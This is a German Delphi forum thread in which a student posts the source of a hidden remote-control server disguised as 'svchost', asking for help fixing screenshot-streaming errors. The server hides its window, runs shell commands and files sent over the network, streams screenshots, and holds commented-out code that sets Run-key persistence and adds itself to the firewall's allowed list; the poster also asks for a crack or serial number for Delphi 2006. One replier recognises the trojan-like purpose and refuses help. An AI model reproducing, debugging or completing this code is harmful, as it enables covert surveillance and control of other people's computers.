![]() |
Problem: TMemoryStream und JPEG Netzwerküberwachungssoftware
Ich habe ein Problem, bitte helft mir! Ich habe einen Server, der auf Clientbefehl Screenshots übers Netzwerk sendet, aber er gibt mir immer an den unmöglichsten Stellen AccessViolation Errors aus!
Diese Stelle lief auch schon mal, aber nachdem ich nur den String 'Screenshot' auf dem Client verändert hatte, kam dieser Error und ich arbeite mit Delphi 6, dass ja sowieso immer irgendwann irgendwelche bescheuerten Compilierfehler macht. Vielleicht bin ich in diesem Fall auch einfach zu blöd, jedenfalls hab ich keinen Nerv mehr! Damals als er lief hat er mir aber auch kein Bild übertragen, sondern irgendeinen Adressen-Fehler ausgegeben! Wenn mir jemand sagen kann, wie man das Bild noch kleiner kriegt oder wie man schneller übertragen kann, wäre ich ebenfalls sehr dankbar. Ich hoffe auf eure Hilfe! Ach ja, bitte idiotensichere Beschreibung: Den größten Teil des Quelltextes habe ich mir auch irgendwo hier aus dem Forum zusammengesucht! Viele Grüße und Dank im Vorraus! LAWn-M0W3R Hier der gesamte Quelltext (der Fehler ist unten im Serverquelltext gekennzeichnet): Server
Delphi-Quellcode:
Client
unit mMessenger;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, ShellAPI, StdCtrls, ComCtrls, Comobj, Registry, ExtCtrls, strutils, jpeg; type Tsvchost = class(TForm) Server: TServerSocket; text: TMemo; Log: TRichEdit; Lpath: TLabel; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure ServerClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); private function GetCursorInfo: TCursorInfo; procedure Screenshot; public { Public declarations } end; var svchost: Tsvchost; voice: Variant; Stream : TMemoryStream; implementation {$R *.dfm} function Tsvchost.GetCursorInfo: TCursorInfo; var hWindow: HWND; pt: TPoint; dwThreadID, dwCurrentThreadID: DWORD; begin Result.hCursor := 0; ZeroMemory(@Result, SizeOf(Result)); // Find out which window owns the cursor if GetCursorPos(pt) then begin Result.ptScreenPos := pt; hWindow := WindowFromPoint(pt); if IsWindow(hWindow) then begin // Get the thread ID for the cursor owner. dwThreadID := GetWindowThreadProcessId(hWindow, nil); // Get the thread ID for the current thread dwCurrentThreadID := GetCurrentThreadId; // If the cursor owner is not us then we must attach to // the other thread in so that we can use GetCursor() to // return the correct hCursor if (dwCurrentThreadID <> dwThreadID) then begin if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then begin // Get the handle to the cursor Result.hCursor := GetCursor; AttachThreadInput(dwCurrentThreadID, dwThreadID, False); end; end else begin Result.hCursor := GetCursor; end; end; end; end; procedure Tsvchost.Screenshot; type TJPEGQualityRange = 1..100; var W, H: Integer; DesktopDC: HDC; BMP: TBitmap; JPG: TJpegImage; Cursor: TIcon; CursorInfo: TCursorInfo; IconInfo: TIconInfo; begin DesktopDC := CreateDC('Display', nil,nil,nil); W := Screen.Width; H := Screen.Height; BMP := TBitmap.Create; JPG := TJpegImage.Create; try BMP.HandleType := bmDDB; BMP.PixelFormat := pf24Bit; BMP.Width := W; BMP.Height := H; BitBlt(BMP.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY); Cursor := TIcon.Create; try //retrieve Cursorinfo CursorInfo := GetCursorInfo; if CursorInfo.hCursor <> 0 then begin Cursor.Handle := CursorInfo.hCursor; // Get Hotspot information GetIconInfo(CursorInfo.hCursor, IconInfo); // Draw the Cursor on our bitmap BMP.Canvas.Draw(CursorInfo.ptScreenPos.X - IconInfo.xHotspot, CursorInfo.ptScreenPos.Y - IconInfo.yHotspot, Cursor); end; finally // Clean up Cursor.ReleaseHandle; Cursor.Free; end; JPG.CompressionQuality := 70; JPG.Assign(BMP); FreeAndNil(Stream); JPG.SaveToStream(Stream); finally BMP.Free; Jpg.Free; DeleteDC(DesktopDC); end; end; ///////////////////////////////////////////////////////////////////////// procedure Tsvchost.FormCreate(Sender: TObject); var Reg: TRegistry; begin Lpath.Caption := ExpandFileName('asdf'); Server.Port := 8877; Server.Open; Log.Lines.Add('Server online.'); Application.ShowMainForm := False; { Reg := TRegistry.Create; try Reg.RootKey := HKEY_CURRENT_USER; Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); Reg.WriteString('windows.svchost', 'C:\Windows\svchost.exe'); Reg.CloseKey; Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\'+ 'FirewallPolicy\StandardProfile\AuthorizedApplications\List', True); Reg.WriteString('svchost.exe', 'svchost.exe' + ':*:Enabled:winhost32'); Reg.CloseKey; finally Reg.Free; end; } voice := CreateOLEObject('SAPI.SpVoice'); Stream := TMemoryStream.Create; end; procedure Tsvchost.FormDestroy(Sender: TObject); begin Server.Close; end; procedure Tsvchost.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket); begin Log.Lines.Add(Socket.ReceiveText); //Shell If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='SH' then ShellExecute(0,PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))), nil,nil,nil,SW_Hide); //Datei ausführen If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='DA' then ShellExecute(0,'open',PChar(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))), nil,nil,SW_Normal); //Textdatei schreiben If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='TE' then text.Lines.Add(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))); If copy(Log.Lines[Log.Lines.Capacity-1],0,5)='TSAVE' then text.Lines.SaveToFile('C:\restart.bat'); If copy(Log.Lines[Log.Lines.Capacity-1],0,6)='TRESET' then text.Lines.Clear; //Dialogfenster If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='NA' then MessageDlg(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1])), mtError, [mbOK], 0); //Speech If copy(Log.Lines[Log.Lines.Capacity-1],0,2)='SP' then voice.speak(copy(Log.Lines[Log.Lines.Capacity-1],3,length(Log.Lines[Log.Lines.Capacity-1]))); //Screenshot Übertragung If leftstr(Log.Lines[Log.Lines.Capacity-1],length('SCREENSHOT'))='SCREENSHOT' then begin Screenshot; [b]//!!!!!!!!!!!!!!!!!!!!AccessViolation Error Server.Socket.SendText(IntToStr(Stream.Size));[/b] end; If leftstr(Log.Lines[Log.Lines.Capacity -1],length('OK'))='OK' then Server.Socket.SendBuf(Stream.Memory^, Stream.Size); end; procedure Tsvchost.ServerClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin ErrorCode := 0; end; end.
Delphi-Quellcode:
unit mNetview;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, TabNotBk, StdCtrls, ExtCtrls, ScktComp, Buttons, Comobj, mRemote, jpeg, strutils; type TNetview = class(TForm) Pages: TTabbedNotebook; Ehost: TLabeledEdit; Log: TMemo; Bverbindung: TSpeedButton; ClientSocket: TClientSocket; Ebefehl: TLabeledEdit; Eattribut: TLabeledEdit; Bsenden1: TSpeedButton; Ename: TLabeledEdit; Bsenden2: TSpeedButton; Ezeile: TLabeledEdit; Bsenden3: TSpeedButton; Breset: TSpeedButton; Bspeichern: TSpeedButton; Epath: TLabeledEdit; Enachricht: TLabeledEdit; Bsenden4: TSpeedButton; Box: TComboBox; Lntyp: TLabel; Espeech: TLabeledEdit; Bsenden5: TSpeedButton; Bscreen: TSpeedButton; Timer: TTimer; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket); procedure BverbindungClick(Sender: TObject); procedure Bsenden1Click(Sender: TObject); procedure Bsenden2Click(Sender: TObject); procedure Bsenden3Click(Sender: TObject); procedure Bsenden4Click(Sender: TObject); procedure Bsenden5Click(Sender: TObject); procedure BresetClick(Sender: TObject); procedure BspeichernClick(Sender: TObject); procedure BscreenClick(Sender: TObject); procedure TimerTimer(Sender: TObject); private procedure SendText(field: TLabeledEdit; text: string); public { Public declarations } end; var Netview: TNetview; voice: Variant; implementation {$R *.dfm} procedure TNetview.SendText(field: TLabeledEdit; text: string); begin If ClientSocket.Socket.Connected=false then begin Log.Lines.Add('Nicht verbunden!'); end else begin If field.Text='' then begin voice.Speak('not enough parameters!', 0); MessageDlg('Nicht genügend Parameter', mtError, [mbOK], 0); end else ClientSocket.Socket.SendText(text); end; end; //////////////////////////////////////////////////////////// procedure TNetview.FormCreate(Sender: TObject); begin ClientSocket.Port := 8877; voice := CreateOLEObject('SAPI.SpVoice'); Log.Lines.Add('Programm bereit'); end; procedure TNetview.FormDestroy(Sender: TObject); begin if (ClientSocket.Active) then ClientSocket.Close; end; procedure TNetview.ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Log.Lines.Add('Verbunden mit '+Ehost.Text); voice.Speak('Connection established!', 0); Bverbindung.Caption := 'trennen'; end; procedure TNetview.ClientSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Log.Lines.Add('Verbindung getrennt.'); voice.Speak('disconnected!', 0); Bverbindung.Caption := 'verbinden'; end; procedure TNetview.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin If ErrorCode=10061 then begin Log.Lines.Add('Host nicht erreichbar oder Programm wird nicht auf Remotehost ausgeführt!'); end else begin Log.Lines.Add('Fehler '+IntToStr(ErrorCode)); voice.Speak('Error ' + inttostr(ErrorCode), 0); end; Bverbindung.Caption := 'verbinden'; ErrorCode := 0; end; procedure TNetview.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket); begin // Log.Lines.Add('empfangen: ' + Socket.ReceiveText); voice.Speak(Log.Lines[Log.Lines.Capacity -1], 0); end; procedure TNetview.BverbindungClick(Sender: TObject); begin If Bverbindung.Caption='verbinden' then begin ClientSocket.Host := Ehost.Text; ClientSocket.Open; If ClientSocket.Socket.Connected=true then Bverbindung.Caption := 'trennen'; end else begin ClientSocket.Close; end; end; procedure TNetview.Bsenden1Click(Sender: TObject); begin SendText(Ebefehl, 'SH' + Ebefehl.Text + '#1' + Eattribut.Text); end; procedure TNetview.Bsenden2Click(Sender: TObject); begin SendText(Ename, 'DA' + Ename.Text); end; procedure TNetview.Bsenden3Click(Sender: TObject); begin SendText(Ezeile, 'TE' + Ezeile.Text); end; procedure TNetview.Bsenden4Click(Sender: TObject); begin SendText(Enachricht, 'NA' + Enachricht.Text + '#1' + Box.Text); end; procedure TNetview.Bsenden5Click(Sender: TObject); begin SendText(Espeech, 'SP' + Espeech.Text); end; procedure TNetview.BresetClick(Sender: TObject); begin SendText(Epath, 'TEreset'); end; procedure TNetview.BspeichernClick(Sender: TObject); begin SendText(Epath, 'TEsave'); end; procedure TNetview.BscreenClick(Sender: TObject); begin If ClientSocket.Socket.Connected=true then begin Application.CreateForm(Tremote, remote); Timer.Enabled := true; end else begin MessageDlg('Keine Remote-Verbindung!', mtError, [mbOK], 0); voice.speak('Please connect first!', 0); end; end; procedure TNetview.TimerTimer(Sender: TObject); var rL : Integer; Pic: TJpegimage; begin SendText(Ehost, 'SCREENSHOT'); rL := ClientSocket.Socket.ReceiveLength; If rL = 0 then Exit; If Rec then begin ClientSocket.Socket.ReceiveBuf(Pointer(Int64(Stream.Memory) + Stream.Position)^, rL); Stream.Position := Stream.Position + rL; // ProgressBar1.Position:=round(Stream.position/rsize*100); //Fortschritt anzeigen lassen If Stream.Position = rSize then begin // ProgressBar1.Position:=100; //Fortschritt anzeigen lassen Stream.Position := 0; Pic := TJpegimage.Create; try Pic.LoadFromStream(Stream); remote.Iscreen.Picture.Assign(Pic); remote.Iscreen.Refresh; finally Pic.Free; end; FreeAndNil(Stream); Rec := False; end; end else begin rSize := StrToInt(ClientSocket.Socket.ReceiveText); Stream := TMemoryStream.Create; Stream.SetSize(rSize); Stream.Position := 0; Rec := True; ClientSocket.Socket.SendText('OK'); end; end; end. ///////////////////////////////////////////////////////////////// unit mRemote; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls; type Tremote = class(TForm) Iscreen: TImage; procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; var remote: Tremote; Rec: Boolean=false; Stream: TMemoryStream; rSize: Int64; implementation {$R *.dfm} uses mNetview; procedure Tremote.FormDestroy(Sender: TObject); begin mNetview.Netview.ClientSocket.Socket.SendText('ENDSTREAM'); end; end. Bitte, bitte helft mir!!! [edit=Phoenix]Tippfehler im Titel korrigiert wegen Suchfunktion. Mfg, Phoenix[/edit] [edit=MrSpock]Etwas lange Codezeilen auf zwei Zeilen geändert. Mfg, MrSpock[/edit] |
Re: Problem: TMemoryStream und JPEG Metzwerküberwachungssoft
Gott, ich habe echt keine Lust tausend zeilen Quellcode durch zu gucken. Wäre schönm, wenn du das auf die relevanten tellen reduzieren könntest.
Was mir aber aufgefallen ist:
Delphi-Quellcode:
Denk noch mal drüber nach. :?
FreeAndNil(Stream);
JPG.SaveToStream(Stream); |
Re: Problem: TMemoryStream und JPEG Metzwerküberwachungssoft
OK, ich verkürze das ganze einfach mal:
Ich bin leider auch in der letzten Zeit nicht mehr dazu gekommen meinen Code nochmal genauer zu untersuchen, aber ich bin es auch leid! Zitat:
Server:
Delphi-Quellcode:
Client:
var
Form1: TForm; voice: Variant; Stream : TMemoryStream; implementation ... //Screenshot und laden des Screenshots in den Stream: procedure TForm1.Screenshot; var W, H: Integer; DesktopDC: HDC; BMP: TBitmap; JPG: TJpegImage; begin DesktopDC := CreateDC('Display', nil,nil,nil); W := Screen.Width; H := Screen.Height; BMP := TBitmap.Create; JPG := TJpegImage.Create; try BMP.HandleType := bmDDB; BMP.PixelFormat := pf24Bit; BMP.Width := W; BMP.Height := H; BitBlt(BMP.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY); JPG.CompressionQuality := 80; JPG.Assign(BMP); FreeAndNil(Stream); JPG.SaveToStream(Stream); finally BMP.Free; Jpg.Free; DeleteDC(DesktopDC); end; end; //////////////////////////////////////////////////////////////////////////////// procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket); begin Log.Lines.Add(Socket.ReceiveText); If leftstr(Log.Lines[Log.Lines.Capacity-1],length('SCREENSHOT'))='SCREENSHOT' then begin Screenshot; //!!!!!!!!!!!!!!!!!!!!AccessViolation Error Server.Socket.SendText(IntToStr(Stream.Size)); end; If leftstr(Log.Lines[Log.Lines.Capacity -1],length('OK'))='OK' then Server.Socket.SendBuf(Stream.Memory^, Stream.Size); end;
Delphi-Quellcode:
Errors: AccessViolation, Adressfehler
procedure TNetview.TimerTimer(Sender: TObject);
var rL : Integer; Pic: TJpegimage; begin SendText(Ehost, 'SCREENSHOT'); rL := ClientSocket.Socket.ReceiveLength; If rL = 0 then Exit; If Rec then begin ClientSocket.Socket.ReceiveBuf(Pointer(Int64(Stream.Memory) + Stream.Position)^, rL); Stream.Position := Stream.Position + rL; // ProgressBar1.Position:=round(Stream.position/rsize*100); //Fortschritt anzeigen lassen If Stream.Position = rSize then begin // ProgressBar1.Position:=100; //Fortschritt anzeigen lassen Stream.Position := 0; Pic := TJpegimage.Create; try Pic.LoadFromStream(Stream); remote.Iscreen.Picture.Assign(Pic); remote.Iscreen.Refresh; finally Pic.Free; end; ClientSocket.Socket.SendText('OK'); FreeAndNil(Stream); Rec := False; end; end else begin rSize := StrToInt(ClientSocket.Socket.ReceiveText); Stream := TMemoryStream.Create; Stream.SetSize(rSize); Stream.Position := 0; Rec := True; end; end; :wall: :gruebel: Bitte Hilfe! Bitte antworten! |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Luckie hat dir doch schon einen Fehler genannt. Wenn du bereits wieder etwas freigegeben hast FreeAndNil(Stream);, dann kannst du es danach doch nicht mehr speichern JPG.SaveToStream(Stream);. Also vertausche doch als erstes diese beiden Zeilen so das es danach in etwa so aussehen sollte:
Delphi-Quellcode:
JPG.SaveToStream(Stream);
FreeAndNil(Stream); |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Morgen,
also erstmal "tschuldigung", aber dafür können wir auch nichts, dass DU ein Problem hast. Vielleicht solltest du deine, wie du schon sagtest, zusammenkopierten Codes auch versuchen zu verstehen. Den nächsten Fehler sehe ich nämlich schon bei deiner Empfangsroutine. Dir sollte klar sein, dass Daten, wenn sie über das Netzwerk verschickt werden in beliebigen Fetzen ankommen können. Weiter helfen möchte ich dir eigentlich nicht, denn dasshier
Delphi-Quellcode:
lässt doch auf eine recht zweifelhafte Anwendung schließen und strafbar machen möchte ich mich nicht, indem ich dir dabei helfe. Ist natürlich peinlich wenn beim "Opfer" willkürlich Access Violations auftreten. :lol:
{ Reg := TRegistry.Create;
try Reg.RootKey := HKEY_CURRENT_USER; Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); Reg.WriteString('windows.svchost', 'C:\Windows\svchost.exe'); Reg.CloseKey; Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\' + 'FirewallPolicy\StandardProfile\AuthorizedApplications\List', True); Reg.WriteString('svchost.exe', 'svchost.exe' + ':*:Enabled:winhost32'); Reg.CloseKey; finally Reg.Free; end; } [edit=sakura] Langen String für bessere Darstellung formatiert. Mfg, sakura[/edit] |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Erst einmal Danke an euch alle!
Ich werde das gleich mal testen, aber als erstes möchte ich mich hier mal rechtfertigen (@Vjay): :oops: Ich wohne in einem Internat und bin selber Schüler. Wir haben hier ein Netzwerk von 10 Privat-Rechnern und die meisten Leute hier haben keine Ahnung von Rechnern. Ich bin durchaus im Besitz von einem Hauch von Moral und möchte keinem etwas böses! Die Anwendung nutze ich dementsprechend auch nicht über das Internet. Natürlich ist mein Programm als Windows-Prozess getarnt, weil ich dem einen oder anderen auch mal einen kleinen Streich spielen will, aber die Ursprungsidee war die, dass ich ein Programm haben wollte, mit dem ich anderen Leuten mal eben per Remote-Control helfen kann. Wir sind hier über drei Häuser verteilt und ich bin immer gefragt, wenn jemand ein Problem hat, aber jetzt muss ich nicht mehr ewig irgendwo hin latschen. Die Windows-Firewall aktiviert sich ja automatisch, wenn jemand seinen "Heimnetzwerk-Assistenten" ausführt und derjenige kommt dann meistens nicht auf die Idee seine Firewall wieder zu deaktivieren; ich mache das jetzt bei ihm automatisch! Bis zum nächsten Schriebsel und einen schönen Tag noch!!! |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Und warum net einfach schnell VNC installieren bei den Leuten und bei dir den Client draufhauen. Die IPs wirst du grad noch von den Leuten bekommen. Dann connecten und gut. Selbst ich spiele Admin bei meinen Eltern auf dem PC in Deutschland da ich in USA bin. Und das geht selbst durch ne Firewall gut.
|
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Danke für den Hinweis, aber zum einen kenne ich VNC nicht und zum anderen hätte ich natürlich nach so einem Programm suchen können, aber ich wollte es eben selbst machen und verstehen!
|
TMemoryStream, JPEG-Übertragung: Bitte helft!
Leider konnte mir bisher keiner weiterhelfen. Darum schreibe ich hier noch einmal die überarbeitete Kurzform hin!
Das Problem besteht darin, dass ich erst gar keine Paketgröße erhalte!!! -> Variable SL beim Client bleibt 0!!! Bitte, bitte helft mir! Client
Delphi-Quellcode:
Server
var
Netview: TNetview; rSize: int64; rec: boolean=false; Stream: TMemoryStream; procedure TNetview.ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket); var SL : Integer; Pic: TJpegimage; begin Log.Lines.Add(Socket.ReceiveText); If copy(Log.Lines[Log.Lines.Capacity-1],0,3)='#SL' then begin SL := Socket.ReceiveLength; If SL = 0 then Exit; If Rec then begin Socket.ReceiveBuf(Pointer(Int64(Stream.Memory) + Stream.Position)^, SL); Stream.Position := Stream.Position + SL; If Stream.Position = rSize then begin Stream.Position := 0; Pic := TJpegimage.Create; try Pic.LoadFromStream(Stream); remote.Iscreen.Picture.Assign(Pic); remote.Iscreen.Refresh; finally Pic.Free; end; Stream.Clear; FreeAndNil(Stream); Rec := False; end; end else begin rSize := StrToInt(copy(Log.Lines[Log.Lines.Capacity-1],4,length(Log.Lines[Log.Lines.Capacity]))); Stream := TMemoryStream.Create; Stream.SetSize(rSize); Stream.Position := 0; Rec := True; Socket.SendText('#SCREENOK'); end; end; end;
Delphi-Quellcode:
var
Form1: TForm1; voice: Variant; Stream : TMemoryStream; JPG: TJpegImage; procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket); begin Log.Lines.Add(Socket.ReceiveText); If Log.Lines[Log.Lines.Capacity-1]='#SCREENSHOT' then begin Stream := TMemoryStream.Create; try Screenshot; //Screenshot wird gemacht und in ca. 150kb großes TJPEGImage geladen JPG.SaveToStream(Stream); finally JPG.Free; end; Socket.SendText('#SL' + inttostr(Stream.Size)); end; If Log.Lines[Log.Lines.Capacity -1]='#SCREENOK' then begin try Socket.SendBuf(Stream, Stream.Size); Stream.Clear; FreeAndNil(Stream); FreeAndNil(JPG); except end; end; end; |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Warum nimmst du nicht einfach die Indys? Darüber gibts hier massig Beiträge wie man damit Dateien sendet.
Ach und eins noch! Zitat:
|
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Ich hab ja versucht das ganze nochmal umzuformen und zu verstehen, aber es klappt eben nicht!
Die Indys kann ich nicht nehmen, weil meine Delphi-Version (6 Personal) mir immer einen Fehler ausgibt, wenn ich die Packages einlesen will. Dann habe ich noch eine Trial-Version von BDA 2006, aber die läuft eben nur 30 Tage und dann muss ich sie wieder reinstallieren! Wenn jemand einen Link zu einer guten Version (mit Crack oder Serial) oder vielleicht einen Crack oder eine Seriennummer für BDA 2006 für mich hat, wäre ich sehr dankbar! |
Re: TMemoryStream, JPEG-Übertragung: Bitte helft!
Zitat:
2. SendBuf() nimmt keine Instanzen. Hier sendest du ab der Instanzenadresse Stream und nachfolgend alle Daten bis Stream.Size des Speichers, aber nicht des Streams. 3. Stream.Clear bringt vor einem Free irgendwie gar nix, das macht der Stream selber im Destruktor. Nutze SendStream() und setze danach Stream auf Nil. Der Socket gibt den Stream nach dem Senden selbstständig frei, da er ihn asynchron zu deinem VCL Code versendet. |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Danke, hat mir trotzdem nicht weitergeholfen, aber Capacity hat irgendwie die selbe Funktion! Ich glaube ich probier das mit den Indys jetzt nochmal!
|
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Zitat:
Und das dies alle Fehler waren, wage ich eh zu bezweifeln. Es ist schwer einen solchen Quellcode alle Fehler zu finden durch reines schauen. Mich würde zum Abschluss noch interessieren, wie du den Punkt Nummer 2 gelöst hast. Könntest du den Codeabschnitt mit deinrer Korrektur nochmals posten, bitte? |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
OK?! Naja, den Code hab ich nicht bei, da ich erst ewig woandershinlaufen muss um ans Internet zu kommen, weil es bei uns noch kein Internet gibt, aber ich habe noch ein wenig rumprobiert und das ganze dann auch theoretisch mit SendStream() hinbekommen! Das sieht dann, glaube ich, so aus:
Delphi-Quellcode:
Nun zum nächsten Problem: Ich versende ja alle möglichen Informationen per SendText und empfange sie auch wieder mit ReceiveText, aber der Stream ist irgendwie auch nur Text und nun habe ich ein einfaches Trennungsproblem! Ich empfange den Stream und speichere ihn da, wo Chatdaten oder Befehle ankommen! Wenn ich bestimmte Buchstabenfolgen vor das zu sendenden Datum setzte (z.B. '#NA' + Nachricht oder '#Screenshot' für den Screenshotbefehl), verwirft Delphi den empfangenen Text gleich nachdem ich ihn das erste mal abgefragt habe, wenn ich ihn nicht vollständig in eine Variable speichere!
var FStream: TFileStream //oder auch TMemoryStream
begin //Screenshot wurde gemacht und unter 'C:\screenshot.jpg' abgespeichert FStream := FStream.Create('C:\screenshot.jpg', fmOpenRead); SendStream(FStream); end; Ich hab hier eine Lösungstheorie, weiß aber nicht, ob und wie sie funktioniert: Man müsste den Stream, der ja sowieso als Text ankommt von String wieder in einen TFile- oder TMemoryStream umwandeln und ihn dann dem bereits konstruierten Stream übergeben und ihn die einzelnen Teile zusammenfügen lassen. Was sagt ihr dazu? Ist das möglich? Gibt es eine sauberere Lösung? P.S.: Wenn ihr mir einen vollen Stream-Quelltext postet, dann bitte einen für TMemoryStream, weil ich eigentlich meine JPEG-Datei nicht auf der Festplatte zwischenspeichern möchte, da das viel zu langsam ist. |
Re: Problem: TMemoryStream und JPEG Netzwerküberwachungssoft
Tja, der Socket überträgt die Daten einfach, ihn interessiert der Inhalt und Aufbau nicht. Daher musst du zur sauberen Trennung dir ein Protokoll ausdenken. Du könntest zum Beispiel die Grösse der nachfolgenden binären Daten vorher übertragen, dann weiss der Client auch wie lange er es in den Memory Stream zu schreiben hat und wann er es interpretieren soll. Deine Lösung wäre in so fern problematisch, wenn die binäre Datei die gleichen Zeichen enthält wie deine Ende-Markierung vom Stream. Dies kann immer vorkommen - z.B. wenn du deinen Beitrag über dein Programm versendest. Daher bietet sich die Lösung, die Grösse zuvor zu übertragen, an, da sie die Interpretation der Daten verhindert und somit eine Fehlinterpretation der Daten.
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 02:44 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz